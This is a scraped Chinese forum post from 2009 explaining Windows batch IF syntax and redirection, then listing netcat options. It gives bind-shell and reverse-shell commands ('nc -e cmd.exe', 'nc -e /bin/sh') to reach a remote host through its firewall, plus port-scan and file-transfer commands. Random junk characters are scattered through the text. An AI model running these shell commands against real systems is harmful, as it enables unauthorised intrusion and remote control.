TA的每日心情 | 开心 2014-7-28 21:47 |
---|
签到天数: 2 天 [LV.1]初来乍到
|
7楼
楼主 |
发表于 2009-5-4 09:36:48
|
只看该作者
七:$ l9 `& c- i# \7 }6 I5 z; S
2:if命令及变量 基本格式:
! I3 }( H0 R9 r# o. P+ J4 C4 iIF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。 r' ]/ r' c8 a9 _7 r5 J
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。6 U2 x6 H" g0 |# R) V
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
9 Y) o! ]0 K% O# SIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
9 d+ v3 ?- k$ ?: Y6 t# p1 @. Z, ~例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" "), T$ N: C1 T8 O' I5 x( r) E
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
% \' j8 H: q8 R, t7 Y例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。* @) v9 f9 a/ [ p
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”1 A$ H+ q y7 B4 P- N9 F
(二)系统外部命令(均需下载相关工具):
; x. ]" p9 ~. u1、瑞士军刀:nc.exe' Y3 G: ?) o" V' F) `1 u, i
参数说明:
" C+ t6 w* d* e! z$ ~-h 查看帮助信息
4 \5 s# T1 Z4 j- n( p, h, f: j+ ]-d 后台模式
6 H* F% R+ z1 L9 B6 r2 j$ ^: \2 F-e prog程序重定向,一但连接就执行[危险]- b% {7 J' R( g% S6 v
-i secs延时的间隔; \# t' X* i- x4 H) |
-l 监听模式,用于入站连接: b/ j* ^9 m) V# P! h+ {
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C: O: ?- f- Y, H- }' K' X6 l9 L
-n IP地址,不能用域名! y( d* Q) `4 U9 s$ F0 q
-o film记录16进制的传输" R. [: T6 e1 K i* h, q
-p[空格]端口 本地端口号& h$ S; c0 g* b; Z4 @% B7 R
-r 随机本地及远程端口, Q6 l( f1 b% a- Y4 H
-t 使用Telnet交互方式
, e9 y" x) J; {$ o* N0 S) B2 A; |# n-u UDP模式) \0 b3 T ` A" `9 p9 H
-v 详细输出,用-vv将更详细
1 `. b& @- \4 V: _3 Z! `-w数字 timeout延时间隔
- Z w' i! x8 m" t F-z 将输入,输出关掉(用于扫锚时), m- l# ~' C/ y+ }
基本用法:0 N0 A0 {( Q5 Y7 t; Z2 Y- a' Y
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口. \% t( L, u \
nc -l -p 80 开启本机的TCP 80端口并监听2 a# N" _- ?9 q/ V$ K
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口* r, z7 o' |% J0 N: E! v. ~( [
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口5 d. v; A& M) K9 Q
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
4 d. Y4 W: E2 a0 M, m高级用法:* P. n8 r8 W% m; p# A7 X' M$ s0 A
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止) h, ^8 e6 m( c7 T7 c2 Q7 c) @
nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt' ~; A& b; c. T; o4 E/ O+ ?' x; l
nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
& r8 y4 X4 I+ c9 {5 L. }' I, ?% @9 Utype.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
9 ^1 T9 C" Y; ~3 P# a- ]% F本机上用:nc -l -p 本机端口
6 Z! w; Q/ Z; I# u V/ t在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
; t' h' e$ U$ W9 K" `/ qnc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
: G% O6 l' a* ?/ O+ Q- C6 d$ r本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
5 F+ [, W t. o( e在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机- D+ W! ?; @5 w- E) v; B
备 注:8 q* a. ]6 X0 w% |: v- U4 Q! o
| 管道命令8 f; ^, b% h6 h5 W6 k3 b U# m8 g
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
+ c2 t% t( A* _6 e) k6 L# \@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中1 R8 N @6 p: B( s# o# @: Z7 m
>与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。9 x9 H8 j* v3 ^: C
如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。
+ ~$ c4 p+ ~& r- D! r' z3 l* T; D6 O |
|